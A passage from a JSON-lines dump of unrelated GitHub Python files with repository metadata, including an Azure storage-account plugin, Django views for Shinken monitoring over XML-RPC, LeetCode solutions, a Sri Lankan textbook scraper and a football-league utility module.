accounts'\n '#%d:%s; %s; error: %s: %s', storage_account_index,\n act_name,\n util.outline_az_sub(sub_index, sub, self._tenant),\n type(e).__name__, e)\n\n def done(self):\n \"\"\"Log a message that this plugin is done.\"\"\"\n _log.info('Done; tenant: %s; processes: %s; threads: %s',\n self._tenant, self._processes, self._threads)\n\n\ndef _process_storage_account_properties(storage_account_index,\n storage_account,\n storage_account_properties,\n sub_index,\n sub,\n tenant):\n \"\"\"Get storage account records with property details.\n\n Arguments:\n storage_account_index (int): Storage account index (logging only).\n storage_account (dict): Raw storage account record.\n storage_account_properties (dict): Storage account properties record.\n sub_index (int): Subscription index (for logging only).\n sub (Subscription): Azure subscription object.\n tenant (str): Azure tenant ID.\n\n Yields:\n dict: An Azure record of type ``storage_account_properties``.\n\n \"\"\"\n storage_account['properties'] = storage_account_properties\n default_network_access_allowed = True\n if storage_account['network_rule_set'].get('default_action') != 'Allow':\n default_network_access_allowed = False\n # Azure services is an umbrella term for trusted Microsoft Azure services\n # including Azure Backup, Azure Site Recovery, Azure DevTest Labs,\n # Azure Event Grid, Azure Event Hubs, Azure Networking, Azure Monitor and\n # Azure SQL Data Warehouse\n bypass_trusted_services = True\n if storage_account['network_rule_set'].get('bypass') != 'AzureServices':\n bypass_trusted_services = False\n record = {\n 'raw': storage_account,\n 'ext': {\n 'cloud_type': 'azure',\n 'record_type': 'storage_account_properties',\n 'secure_transfer_required': storage_account_properties.get(\n 'enable_https_traffic_only'\n ),\n 'default_network_access_allowed': default_network_access_allowed,\n 'trusted_services_allowed': bypass_trusted_services,\n 'subscription_id': sub.get('subscription_id'),\n 'subscription_name': sub.get('display_name'),\n 'subscription_state': sub.get('state'),\n },\n 'com': {\n 'cloud_type': 'azure',\n 'reference': storage_account.get('id')\n }\n }\n _log.info('Found storage_account_properties #%d: %s; %s',\n storage_account_index, storage_account.get('name'),\n util.outline_az_sub(sub_index, sub, tenant))\n\n return record\n","repo_name":"cloudmarker/cloudmarker","sub_path":"cloudmarker/clouds/azstorageaccount.py","file_name":"azstorageaccount.py","file_ext":"py","file_size_in_byte":10541,"program_lang":"python","lang":"en","doc_type":"code","stars":214,"dataset":"github-code","pt":"32"} +{"seq_id":"4378683247","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nimport datetime\nimport json\n\nfrom django.contrib.auth.models import Permission\nfrom django.core.exceptions import PermissionDenied\nfrom django.http import HttpResponse\nfrom django.utils.crypto import get_random_string\nfrom penatesserver.glpi.forms import ShinkenServiceForm\nfrom penatesserver.glpi.models import ShinkenService\n\nfrom penatesserver.glpi.services import get_shinken_services, year_0, session_duration_in_seconds, signer, check_session\n\nfrom penatesserver.glpi.xmlrpc import XMLRPCSite\nfrom penatesserver.glpi.xmlrpc import register_rpc_method\nfrom penatesserver.models import Host, User, AdminUser\nfrom penatesserver.utils import hostname_from_principal, is_admin\n\n\n__author__ = 'Matthieu Gallet'\n\nXML_RPC_SITE = XMLRPCSite()\n\nshinken_checks = {\n # 'penates_dhcp': 'check_dhcp -r $ARG2$ -m $ARG1$',\n 'penates_dig': 'check_dig -l $ARG1$ -a $HOSTADDRESS$',\n 'penates_dig_2': 'check_dig -l $ARG1$ -a $ARG2$',\n 'penates_http': 'check_http -H $ARG1$ -p $ARG2$',\n 'penates_https': 'check_http -S --sni -H $ARG1$ -p $ARG2$ -C 15 -e 401',\n 'penates_imap': 'check_imap -H $HOSTNAME$ -p $ARG1$',\n 'penates_imaps': 'check_simap -H $HOSTNAME$ -p $ARG1$ -D 15',\n 'penates_ldap': 'check_ldap -H $HOSTADDRESS$ -p $ARG1$ -3',\n 'penates_ldaps': 'check_ldaps -H $HOSTADDRESS$ -p $ARG1$ -3',\n 'penates_ntp': 'check_ntp_peer -H $HOSTADDRESS$',\n 'penates_smtp': 'check_smtp -H $HOSTADDRESS$ -p $ARG1$',\n 'penates_smtps': 'check_ssmtp -H $HOSTADDRESS$ -p $ARG1$ -D 15',\n 'penates_udp': 'check_udp -H $HOSTADDRESS$ -p $ARG1$'\n}\n\n\ndef xmlrpc(request):\n return XML_RPC_SITE.dispatch(request)\n\n\ndef register_service(request, check_command):\n fqdn = hostname_from_principal(request.user.username)\n status = 204\n if request.method == 'POST':\n if request.body:\n content = json.loads(request.body.decode('utf-8'))\n s = ShinkenService(**content)\n s.host_name = fqdn\n values = s.to_dict()\n for key in ('host_name', 'check_command'):\n if key in values:\n del values[key]\n if ShinkenService.objects.filter(host_name=fqdn, check_command=check_command)\\\n .update(**values) == 0:\n ShinkenService(host_name=fqdn, check_command=check_command, **values).save()\n return HttpResponse(status=201)\n elif request.method == 'GET':\n form = ShinkenServiceForm(request.GET)\n if not form.is_valid():\n return HttpResponse(status=400)\n values = {key: value for key, value in form.cleaned_data.items() if value}\n if ShinkenService.objects.filter(host_name=fqdn, check_command=check_command)\\\n .update(**values) == 0:\n ShinkenService(host_name=fqdn, check_command=check_command, **values).save()\n return HttpResponse(status=201)\n elif request.method == 'DELETE':\n ShinkenService.objects.filter(host_name=fqdn, check_command=check_command).delete()\n status = 202\n return HttpResponse(status=status)\n\n\n@register_rpc_method(XML_RPC_SITE, name='glpi.doLogin')\ndef do_login(request, args):\n login_name = args[0]['login_name'].decode('utf-8')\n login_password = args[0]['login_password'].decode('utf-8')\n users = list(AdminUser.objects.filter(username=login_name, user_permissions__codename='supervision')[0:1])\n if not users:\n raise PermissionDenied\n user = users[0]\n if not user.check_password(login_password):\n raise PermissionDenied\n Permission.objects.filter()\n end_time = int((datetime.datetime.utcnow() - year_0).total_seconds()) + session_duration_in_seconds\n session = '%s:%s' % (end_time, login_name)\n session = signer.sign(session)\n return {'session': session, }\n\n\n@register_rpc_method(XML_RPC_SITE, name='monitoring.shinkenCommands')\ndef shinken_commands(request, args):\n check_session(request, args)\n return [{'command_name': key, 'command_line': '$PLUGINSDIR$/%s' % value} for (key, value) in shinken_checks.items()]\n\n\n@register_rpc_method(XML_RPC_SITE, name='monitoring.shinkenHosts')\ndef shinken_hosts(request, args):\n check_session(request, args)\n result = []\n for host in Host.objects.all():\n # noinspection PyTypeChecker\n result.append({\n 'host_name': host.fqdn,\n 'alias': '%s,%s' % (host.admin_fqdn, host.fqdn.partition('.')[0]),\n 'display_name': host.fqdn,\n 'address': host.admin_ip_address,\n })\n return result\n\n\n@register_rpc_method(XML_RPC_SITE, name='monitoring.shinkenHostgroups')\ndef shinken_host_groups(request, args):\n check_session(request, args)\n return []\n\n\n@register_rpc_method(XML_RPC_SITE, name='monitoring.shinkenTemplates')\ndef shinken_templates(request, args):\n check_session(request, args)\n return []\n\n@register_rpc_method(XML_RPC_SITE, name='monitoring.shinkenServices')\ndef shinken_services(request, args):\n check_session(request, args)\n return get_shinken_services()\n\n\n@register_rpc_method(XML_RPC_SITE, name='monitoring.shinkenContacts')\ndef shinken_contacts(request, args):\n check_session(request, args)\n result = []\n for user in User.objects.all():\n result.append({'contact_name': user.name, 'alias': user.display_name, 'use': 'generic-contact',\n 'password': get_random_string(), 'email': user.mail,\n 'is_admin': '1' if is_admin(user.name) else '0', })\n return result\n\n\n@register_rpc_method(XML_RPC_SITE, name='monitoring.shinkenTimeperiods')\ndef shinken_time_periods(request, args):\n check_session(request, args)\n return []\n","repo_name":"pombredanne/Penates-Server","sub_path":"penatesserver/glpi/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8802597984","text":"# string -> transfer whole list as one int + 1 -> back to str, split each one -> each transfer to int, put in a list\n\ndef plusOne(digits):\n \"\"\"\n :type digits: List[int]\n :rtype: List[int]\n \"\"\"\n return [int(x) for x in str(int(\"\".join([str(x) for x in digits])) + 1)]\n\n# increment last bit by 1 and move backward depends on the carry\n\ndef betterPlusOne(digits):\n carry = 1\n for i in range(len(digits)-1,-1,-1):\n if carry == 0: break\n digits[i], carry = (digits[i] + carry, 0) if digits[i] < 9 else (0, 1)\n print(digits[i], carry)\n if carry == 1:\n return [1]+digits\n return digits\n\ndigits = [6,7,8,9]\nprint(betterPlusOne(digits))","repo_name":"RioAraki/leetcode2020","sub_path":"leetcode_python/66_PlusOne.py","file_name":"66_PlusOne.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"30642199575","text":"# -*- coding:utf-8 -*-\nimport sys\nfrom functools import wraps\n\n# from .exceptions import NotSupprotedYetException\n# If used , it will cause circulation import\n\"\"\"\nFile \"/home/hzcortex/FBRank/FBRank/parse/League.py\", line 13, in \n from FBRank.utils.exceptions import IllegalArgumentException, NotSupprotedYetException\n File \"/home/hzcortex/FBRank/FBRank/utils/exceptions.py\", line 2, in \n from .utils import github_url, connect_url\n File \"/home/hzcortex/FBRank/FBRank/utils/utils.py\", line 5, in \n from .exceptions import NotSupprotedYetException\nImportError: cannot import name 'NotSupprotedYetException'\n\n\"\"\"\n\nPY2 = sys.version[0] == '2'\n\n\n# decorator for check-name\n# For Club Check\ndef check_before(attr='name'):\n from .exceptions import NotSupprotedYetException\n def wrapped_func(func):\n @wraps(func)\n def wrapped(self, *args, **kwargs):\n # print(func.__class__.__name__)\n if (getattr(self, attr).lower() not in club_transformat.keys()):\n raise NotSupprotedYetException\n return func(self, *args, **kwargs)\n\n return wrapped\n\n return wrapped_func\n\n\n# relationship\n\nEPL_League_transformat = {\n \"利物浦\":\"Liverpool\",\n \"曼城\":\"Man City\",\n \"热刺\":\"Spurs\",\n \"阿森纳\":\"Arsenal\",\n \"曼联\":\"Man Utd\",\n \"维拉\":\"Aston Villa\",\n \"诺维奇\":\"Norwich City\",\n \"谢菲联\":\"Sheffield\",\n \"切尔西\":\"Chelsea\",\n \"沃特福德\":\"Watford\",\n \"狼队\":\"Wolves\",\n \"西汉姆\":\"West Ham\",\n \"伯恩茅斯\":\"AFC Bournemouth\",\n \"埃弗顿\":\"Everton\",\n \"莱斯特\":\"Leicester\",\n \"水晶宫\":\"Crystal Palace\",\n \"伯恩利\":\"Burnley\",\n \"纽卡斯尔\":\"Newcastle\",\n \"布莱顿\":\"Brighton\",\n \"卡迪夫城\":\"Cardiff\",\n \"南安普顿\":\"Southampton\",\n \"富勒姆\":\"Fulham\",\n \"哈德斯菲尔德\":\"Huddersfield\",\n \"卢顿\":\"Luton Town\",\n \"巴恩斯利\":\"Barnsley\",\n \"桑德兰\":\"Sunderland\",\n \"朴茨茅斯\":\"Portsmouth\",\n \"查尔顿\":\"Charlton Athletic\",\n \"唐卡斯特\":\"Doncaster Rovers\",\n \"彼得堡联\":\"Peterborough United\",\n \"福利特\":\"Fleetwood Town\",\n \"布莱克浦\":\"Blackpool\",\n \"考文垂\":\"Coventry City\",\n \"伯顿\":\"Burton Albion\",\n \"威科姆\":\"Wycombe Wanderers\",\n \"普利茅斯\":\"Southend United\",\n \"斯肯索普\":\"Plymouth Argyle\",\n \"南安联\":\"Accrington Stanley\",\n \"阿克宁顿\":\"Scunthorpe United\",\n \"吉灵汉姆\":\"Gillingham\",\n \"沃尔索尔\":\"Walsall\",\n \"牛津联\":\"Shrewsbury Town\",\n \"什鲁斯\":\"Oxford United\",\n \"罗奇代尔\":\"Bristol Rovers\",\n \"布流浪\":\"Rochdale\",\n \"布拉德福\":\"Bradford City\",\n \"温布尔登\":\"AFC Wimbledon\"\n}\n\nleague_transformat = {\n ('英超', 'EPL','Premier League', 'Premiere League', '英国', '英格兰'): 'EPL',\n ('德甲', 'Bundesliga', 'Bunde', '德国'): 'Bunde',\n ('西甲', 'Liga BBva', '西班牙'): 'La Liga',\n ('意甲', 'Serie A', '意大利'): 'Serie A'\n}\n\nleague_configure = {\n 'EPL': {\n 'rank_url': 'http://soccer.hupu.com/table/England.html',\n 'news_url': 'http://sports.sina.com.cn/g/premierleague/'\n },\n 'Bunde': {\n 'rank_url': 'http://soccer.hupu.com/table/Germany.html',\n 'news_url': 'http://sports.sina.com.cn/g/bundesliga/'\n },\n 'La Liga': {\n 'rank_url': 'http://soccer.hupu.com/table/Spain.html',\n 'news_url': 'http://sports.sina.com.cn/g/laliga/'\n },\n 'Serie A': {\n 'rank_url': 'http://soccer.hupu.com/table/Italy.html',\n 'news_url': 'http://sports.sina.com.cn/g/seriea/'\n }\n}\n\nclub_transformat = {\n ('manchester united', '曼联', '曼彻斯特联'): 'manutd'\n}\n\nclub_url = {\n\n}\n\nfootball_url = {\n\n}\n\nconnect_url = 'iamwanghz@gmail.com'\ngithub_url = 'https://github.com/FBRank'\n\nleague_news_pattern = r'

    (.*?)'\n","repo_name":"Allianzcortex/FBRank","sub_path":"FBRank/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3870,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"32"} +{"seq_id":"33416278118","text":"from django_storages.backends.s3 import S3Storage as SS\nfrom event.models import Event\n\ns = SS()\ne = Event.objects.all()[:1].get()\ni = e.image_avatar\nix = s.save(i.name, i)\nf = s.open(ix)\ns.url(ix)\n\n","repo_name":"kabirh/riotvine","sub_path":"docs/rv/s3_snippet.py","file_name":"s3_snippet.py","file_ext":"py","file_size_in_byte":199,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"29943555367","text":"\ndef count_all(txt):\n count = 0\n digit = 0\n for char in txt:\n if char.isdigit():\n digit += 1\n elif char.isalpha() and char not in \" \":\n count += 1\n return {\"LETTERS\": count, \"DIGITS\": digit}\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"KEz3TAQfh9WxSZMLH_5.py","file_name":"KEz3TAQfh9WxSZMLH_5.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35819260678","text":"\"\"\"\nGiven an array nums of n integers where n > 1, return an array output such that output[i] is equal to the product of all the elements of nums except nums[i].\n\nExample:\n\nInput: [1,2,3,4]\nOutput: [24,12,8,6]\nNote: Please solve it without division and in O(n).\n\nFollow up:\nCould you solve it with constant space complexity? (The output array does not count as extra space for the purpose of space complexity analysis.)\n\"\"\"\n\n\n\"\"\"\n[1,2,3,4]\n<---all the numbers to the left [1, 1*1, 1*2, 1*2*3]\n times \n--->all the numbers to the right [2*3*4 ,3*4, 4, 1]\n\"\"\"\n\n\nclass Solution:\n def productExceptSelf(self, nums: List[int]) -> List[int]:\n n = len(nums)\n left = [1 for i in range(n)]\n right = [1 for i in range(n)]\n for i in range(1, n):\n left[i] = left[i-1] * nums[i-1]\n right[n-i-1] = right[n-i] * nums[n-i]\n return [a*b for a, b in zip(left, right)]\n","repo_name":"wenyaowu/leetcode-js","sub_path":"problems/productOfArrayExceptSelf.py","file_name":"productOfArrayExceptSelf.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38269691968","text":"import os\nimport sys\nimport json\n\nif __name__ == '__main__':\n all_system={}\n all_system=eval(sys.argv[1])\n list_of_dict=[]\n for key,value in all_system.items():\n ips=key.split(',')\n for ip in ips:\n j={}\n j['ip_address']=ip\n j['resource_id']=value\n list_of_dict.append(j)\n \n print(list_of_dict)\n","repo_name":"Shubham-16/TU-Patching-Scanning-","sub_path":"Windows-Patching/manage_engine/files/map_system_with_id.py","file_name":"map_system_with_id.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"6533854756","text":"'''\n작성일 : 2020. 12. 28.\n작성자 : 정성모\n코드개요 : 표준노드링크에서 제공하는 표준노드링크 데이터(`2019_09_20.geojson`) 파싱\n'''\n\nimport json\n\ndef read_seg(data_path):\n '''\n 함수개요 : 우리나라의 좌표를 이용하여 cell을 나누어 cell의 포함된 링크 파싱 및 링크별 정보 파싱 및 F_NODE 정보 파싱\n '''\n x_min = 32.950424\n y_min = 124.773835\n x_max = 38.763189\n y_max = 131.563393 # 우리나라 범위\n x_d = x_max - x_min\n y_d = y_max - y_min\n\n h_x_d = 589*2 # 634은 우리나라 전체의 위도 거리 634km, 500m 기준의 셀 개수\n h_y_d = 647*2\n\n per_x_cell = x_d/h_x_d # 하나당 셀의 크기\n per_y_cell = y_d/h_y_d\n\n cell = {}\n link_id = {}\n F_NODE = {}\n T_NODE = {}\n with open(data_path, \"r\") as f:\n count = 0 \n while True :\n temp = set() # 중복 제거\n line = f.readline()\n if not line: break\n if \"LINK_ID\" in line:\n try:\n j = json.loads(line[:-2])\n # print(j)\n except:\n j = json.loads(line)\n # print(j)\n f_node = j[\"properties\"][\"F_NODE\"]\n link = j[\"properties\"][\"LINK_ID\"]\n coordinates = j[\"geometry\"][\"coordinates\"]\n for gps in coordinates[0]:\n grid_x = int((gps[1]-x_min)/per_x_cell) # 그리드 x 위치\n grid_y = int((gps[0]-y_min)/per_y_cell) # 그리드 y 위치\n temp.add((grid_x*h_x_d)+grid_y) # 셀의 인덱스\n temp = list(temp)\n\n # cell 당 포함한 링크 추가 과정\n for cell_num in temp:\n li = []\n if not cell.get(cell_num):\n cell[cell_num] = []\n li = cell.get(cell_num)\n li.append(link)\n cell[cell_num] = li\n\n # link 정보 추가 과정\n link_id[link] = j\n\n # F_NODE 정보 추가 과정\n if not F_NODE.get(f_node):\n F_NODE[f_node] = []\n f_value = F_NODE.get(f_node)\n f_value.append(link)\n F_NODE[f_node] = f_value \n \n \n \n return cell, link_id, F_NODE\n","repo_name":"jsm9720/traj2seg-v2","sub_path":"core/read_segment.py","file_name":"read_segment.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"26281082800","text":"\"\"\"Moving Day\"\"\"\n\n# movingday\n\nboxes, V = [int(x) for x in input().split()]\n\nfor i in range(boxes):\n x, y, z = [int(x) for x in input().split()]\n if not i:\n result = x * y * z - V\n\n result = max(result, x * y * z - V)\n\nprint(result)\n","repo_name":"lukaszlukaszew/kattis-solutions","sub_path":"M/movingday.py","file_name":"movingday.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30241973209","text":"#Simple assignment\nfrom time import sleep\nfrom selenium import webdriver\n\n#driver = Chrome(executable_path='C://WebDriver/bin/chromedriver')\n#driver = Chrome()\n\n\noptions = webdriver.ChromeOptions()\noptions.add_argument(\"--incogito\")\noptions.add_argument(\"--start-maximized\")\n#options.add_argument(\"--headless\")\n\n#Or use the context manager\n\ndriver = webdriver.Chrome(\"C://WebDriver/bin/chromedriver.exe\", options = options)\n\n\n #your code inside this indent\ndriver.get(\"https://www.google.com\")\nprint(driver.title)\nsleep(5)\nprint(driver.title)\n#driver.get(\"https://www.facebook.com\")","repo_name":"mchun/selenium-hello-world","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13492734115","text":"from scrapy import Spider\n\n# Autoomatization\n# curl -u a8bf052c1f72426ba0e7ecbea34f39bd: https://app.scrapinghub.com/api/run.json -d project=530175 -d spider=cia_spider\n# curl -u APIKEY: https://storage.scrapinghub.com/items/PROJECT_ID/NUMBER_OF_SPIDER/NUMER_OF_JOB\n\n# XPATH\nLINKS_XPATH = '//a[starts-with(@href,\"collection\") and (parent::h3| parent::h2)]/@href'\nTITLE_XPATH = '//h1[@class=\"documentFirstHeading\"]/text()'\nDESCRIPTION_XPATH = '//div[@class=\"field-item even\"]/p[not(strong) and not(@style)]/descendant-or-self::*/text()'\n\n\nclass SpiderCIA(Spider):\n name = 'cia_spider'\n start_urls = ['https://www.cia.gov/readingroom/historical-collections']\n custom_settings = {\n 'FEEDS': {\n 'cia.json': {\n 'format': 'json',\n 'encoding': 'utf8',\n 'fields': ['url', 'title', 'description'],\n 'overwrite': True\n }\n },\n 'USER_AGENT': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0'\n }\n\n def parse_link(self, response, **kwargs):\n link = kwargs['url']\n title = response.xpath(TITLE_XPATH).get()\n description = response.xpath(DESCRIPTION_XPATH).getall()\n yield {\n 'url': link,\n 'title': title,\n 'description': \"\".join(description)\n }\n\n def parse(self, response):\n declasified_links = response.xpath(LINKS_XPATH).getall()\n for link in declasified_links:\n yield response.follow(\n link,\n callback=self.parse_link,\n cb_kwargs={'url': response.urljoin(link)}\n )\n","repo_name":"axvargas/platzi_intelligence_agency","sub_path":"platzi_intelligence_agency/platzi_intelligence_agency/spiders/cia.py","file_name":"cia.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71091550811","text":"import argparse\nimport time\n\nfrom selenium import webdriver\nfrom selenium.common.exceptions import StaleElementReferenceException\nfrom selenium.webdriver.firefox.options import Options\nfrom utils import dt, tsv\nfrom utils.cache import cache\n\nfrom lk_textbooks._constants import CACHE_NAME, CACHE_TIMEOUT\nfrom lk_textbooks._utils import log\n\nURL = 'http://www.edupub.gov.lk/BooksDownload.php'\nNEW_PAGE_SLEEP_TIME = 1\n\n\n@cache(CACHE_NAME, CACHE_TIMEOUT)\ndef scrape_get_langs_and_grades():\n options = Options()\n options.headless = True\n driver = webdriver.Firefox(options=options)\n driver.get(URL)\n\n select_lang = driver.find_element_by_id('BookLanguage')\n langs = []\n for option in select_lang.find_elements_by_tag_name('option'):\n if 'Select' not in option.text:\n langs.append(option.text)\n\n select_lang = driver.find_element_by_id('BookGrade')\n grades = []\n for option in select_lang.find_elements_by_tag_name('option'):\n if 'Select' not in option.text:\n grades.append(option.text)\n\n driver.quit()\n return langs, grades\n\n\n@cache(CACHE_NAME, CACHE_TIMEOUT)\ndef scrape_get_book_names(lang, grade):\n options = Options()\n options.headless = True\n driver = webdriver.Firefox(options=options)\n driver.get(URL)\n\n select_lang = driver.find_element_by_id('BookLanguage')\n for option in select_lang.find_elements_by_tag_name('option'):\n if option.text == lang:\n option.click()\n\n select_lang = driver.find_element_by_id('BookGrade')\n for option in select_lang.find_elements_by_tag_name('option'):\n if option.text == grade:\n option.click()\n\n input_submit = driver.find_element_by_class_name('TextbookSubmitButton')\n input_submit.click()\n\n time.sleep(NEW_PAGE_SLEEP_TIME)\n book_names = []\n for a in driver.find_elements_by_class_name('SelectSyllabuss'):\n book_names.append(a.text)\n\n driver.quit()\n return book_names\n\n\n@cache(CACHE_NAME, CACHE_TIMEOUT)\ndef scrape_get_chapter_links(lang, grade, book_name):\n options = Options()\n options.headless = True\n driver = webdriver.Firefox(options=options)\n driver.get(URL)\n\n select_lang = driver.find_element_by_id('BookLanguage')\n for option in select_lang.find_elements_by_tag_name('option'):\n if option.text == lang:\n option.click()\n\n select_lang = driver.find_element_by_id('BookGrade')\n for option in select_lang.find_elements_by_tag_name('option'):\n if option.text == grade:\n option.click()\n\n input_submit = driver.find_element_by_class_name('TextbookSubmitButton')\n input_submit.click()\n\n time.sleep(NEW_PAGE_SLEEP_TIME)\n\n for a in driver.find_elements_by_class_name('SelectSyllabuss'):\n if a.text == book_name:\n a.click()\n\n time.sleep(NEW_PAGE_SLEEP_TIME)\n\n chapter_links = []\n for a in driver.find_elements_by_class_name('SelectChapter'):\n chapter_links.append(\n dict(\n url=a.get_attribute('href'),\n name=a.text,\n )\n )\n driver.quit()\n return chapter_links\n\n\ndef scrape_all(limit):\n log.info(f'limit = {limit}')\n langs, grades = scrape_get_langs_and_grades()\n n_langs, n_grades = len(langs), len(grades)\n log.info(f'Got {n_langs} Languages and {n_grades} Grades.')\n data_list = []\n is_over_limit = False\n for lang in langs:\n for grade in grades:\n\n try:\n book_names = scrape_get_book_names(lang, grade)\n except StaleElementReferenceException:\n book_names = []\n\n n_book_names = len(book_names)\n log.info(f'Got {n_book_names} books for {lang}/{grade}')\n for book in book_names:\n try:\n chapter_links = scrape_get_chapter_links(lang, grade, book)\n except StaleElementReferenceException:\n chapter_links = []\n\n n_chapter_links = len(chapter_links)\n log.info(\n f'\\tGot {n_chapter_links} chapters '\n + f'for {lang}/{grade}/{book}'\n )\n for chapter_link in chapter_links:\n chapter = chapter_link['name']\n data_list.append(\n dict(\n lang=lang,\n lang_id=dt.to_kebab(lang),\n grade=grade,\n grade_id=dt.to_kebab(grade),\n book=book,\n book_id=dt.to_kebab(book),\n chapter=chapter,\n chapter_id=dt.to_kebab(chapter),\n link=chapter_link['url'],\n )\n )\n n_data_list = len(data_list)\n log.info(f'\\t\\t{n_data_list}) Added {chapter}')\n if len(data_list) >= limit:\n is_over_limit = True\n break\n\n if is_over_limit:\n break\n if is_over_limit:\n break\n if is_over_limit:\n break\n\n data_file = '/tmp/lk_textbooks.tsv'\n tsv.write(data_file, data_list)\n n_data_list = len(data_list)\n log.info(f'Saved {n_data_list} entries to {data_file}')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--limit',\n help='Maxiumum entries to scrape',\n type=int,\n default=10000,\n )\n args = parser.parse_args()\n scrape_all(args.limit)\n","repo_name":"nuuuwan/lk_textbooks","sub_path":"src/lk_textbooks/scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":5647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18015296618","text":"# Package adalah sekumpulan modul Python yang terorganisir dan terstruktur dengan baik.\n# Modul adalah sebuah file yang berisi kode Python yang dapat digunakan kembali di dalam sebuah aplikasi. \n# Package menyediakan cara untuk mengelompokkan modul-modul terkait menjadi satu unit yang lebih besar dan lebih mudah dikelola.\n\n# Contohnya, sebuah package bernama \"matematika\" dapat berisi beberapa modul seperti \"penjumlahan\", \"pengurangan\", dan \"perkalian\". \n# Masing-masing modul tersebut dapat berisi fungsi-fungsi yang berkaitan dengan penjumlahan, pengurangan, dan perkalian.\n# Dengan menggunakan package ini, kita dapat dengan mudah mengakses semua fungsi yang terdapat di dalamnya tanpa perlu mengimport setiap modul secara terpisah.\n\n# contoh untuk menggunakan package atau modul di Python, \n# kita perlu mengimportnya terlebih dahulu dengan menggunakan perintah import.\n\n# package ini hanya berlaku untuk fungsi penjumlahan.\nimport matematika.penjumlahan\n\nhasil = matematika.penjumlahan.tambah(10, 20)\nprint(hasil) # 30\n\n# menggunakan as 'alias' atau (singkatan)\n# package ini hanya berlaku untuk fungsi perkalian. \nimport matematika.perkalian as mtk\n\nhasil = mtk.kali(2, 5)\nprint(hasil)\n\n# menggunakan from nama_package import nama_modul\nfrom matematika import penjumlahan, pengurangan, perkalian\n\nhasil_tambah = penjumlahan.tambah(50, 50)\nprint(hasil_tambah) # 100\n\nhasil_kurang = pengurangan.kurang(20, 10)\nprint(hasil_kurang) # 10\n\nhasil_kali = perkalian.kali(5, 5)\nprint(hasil_kali) # 25\n","repo_name":"kobencry/python-dasar","sub_path":"Bagian2-MODUL/stage2-package-modul/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1505,"program_lang":"python","lang":"id","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"41732679606","text":"import sys\nsys.stdin=open('1018_체스판_다시_칠하기.txt')\nN, M = map(int, input().split())\nlst = [list(input()) for _ in range(N)]\nres_list = []\n\n# 시작값 설정\nfor i in range(0, N - 7):\n for j in range(0, M - 7):\n\n # 칠해야 하는 정사각형 개수\n res = 0\n\n # for b1 in range(i, i + 8):\n # for b2 in range(j, j + 8):\n # if lst[b1][b2] == 'W'\n#----------------------------------\n # 체스판 순회\n for b1 in range(i, i + 8):\n for b2 in range(j, j + 8):\n\n if (b1 + b2) % 2 == 0:\n if lst[b1][b2] == 'B':\n res += 1\n else:\n if lst[b1][b2] == 'W':\n res += 1\n res_list.append(res)\nres_list.sort()\nif res_list[0] > 64 - res_list[-1]:\n res = 64 - res_list[-1]\nelse:\n res = res_list[0]\nprint(res)","repo_name":"yang-hee/BOJ","sub_path":"브루트_포스/1018_체스판_다시_칠하기.py","file_name":"1018_체스판_다시_칠하기.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9947583030","text":"class Solution:\n def longestCycle(self, edges: List[int]) -> int:\n \n answer = -1\n visited = [False]*len(edges)\n \n def dfs(node, distance, visited):\n nonlocal answer\n \n visited[node] = True\n \n child = edges[node]\n \n if visited[child] == False and child != -1:\n distance[child] = distance[node] + 1\n return dfs(child, distance, visited)\n \n elif child != -1 and child in distance:\n diff = distance[node] - distance[child] + 1\n answer = max(answer, diff ) \n \n \n for i in range(len(edges)):\n \n if visited[i] == False:\n dfs(i, {i:1}, visited)\n \n return answer\n ","repo_name":"Gizaw-Agodo/A2sV","sub_path":"2360-longest-cycle-in-a-graph/2360-longest-cycle-in-a-graph.py","file_name":"2360-longest-cycle-in-a-graph.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"14003250209","text":"#!/usr/bin/env python2\n\n\"\"\"ROS Node for publishing desired positions.\"\"\"\n\nfrom __future__ import division, print_function, absolute_import\n\n# Import ROS libraries\nimport roslib\nimport rospy\nimport numpy as np\nfrom geometry_msgs.msg import Twist\n\n# Import class that computes the desired positions\n# from aer1217_ardrone_simulator import PositionGenerator\n\n\nclass ROSDesiredPositionGenerator(object):\n \"\"\"ROS interface for publishing desired positions.\"\"\"\n\n def __init__(self):\n # 